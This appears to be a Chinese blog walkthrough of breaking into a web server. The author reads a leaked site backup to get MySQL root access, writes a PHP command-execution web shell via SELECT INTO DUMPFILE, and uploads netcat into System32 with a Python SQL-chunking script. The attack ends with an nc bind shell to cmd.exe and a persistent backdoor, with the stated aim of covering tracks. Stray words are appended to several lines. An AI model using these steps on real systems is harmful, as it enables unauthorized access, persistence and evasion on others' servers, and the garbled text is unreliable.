* 拿到网站上传权限php
发现网站有默认 3306 phpmyadmin可是不知道帐号密码。python
很巧合,站长没有对site的indexes作限制,因此我能够查看他一些目录下的文件,恰巧有一份网站的备份被我下载到,获得3306的root权限。sql
* 提权shell
经过上传权限来提权数据库
DROP TABLE IF EXISTS `fm`; CREATE TABLE `fm` ( `fm` longblob ); insert into fm (fm) values (0x3c3f20706173737468727528245f4745545b2763275d293b203f3e); select fm from fm into dumpfile 'D:\\WWW\\execute.php'; drop table fm; flush logs;
如此一来只要咱们上传了nc.exe 就能够经过 execute.php 来执行打开一个端口。网站
http://xxx.xxx.xxx.xxx/execute.php?c=nc.exe -l -p1234 -e cmd.exe
经过脚本将nc.exe 分红屡次存入数据库,依法导出到某处,附shellcode生成脚本url
fp = open('nc.exe', 'rb') content = fp.read() content = content.encode('hex') fp0 = open('nc-shellcode.sql', 'wt') fp0.write(''' DROP TABLE IF EXISTS `fm`; CREATE TABLE `fm` ( `fm` longblob ); ''') for idx in range(len(content)/1024 + 1): if idx == 0: fp0.write('''insert into fm (fm) values (0x%s);\n'''% content[idx*1024:(idx+1)*1024]) else: fp0.write('''UPDATE fm SET fm=CONCAT(fm, 0x%s);''' % content[idx*1024:(idx+1)*1024]) fp0.write(''' select fm from fm into dumpfile 'C:\\\\Windows\\\\System32\\\\nc.exe'; drop table fm; flush logs; ''')
将生成的sql执行, 生成 C:\Windows\System32\nc.exespa
访问刚刚提到的url,便可打开1234code
用nc.exe连接完成提权blog
nc xxx.xxx.xxx.xxx 1234
* 扩展留下后门,清理痕迹
nc -L -p1235 -e cmd.exe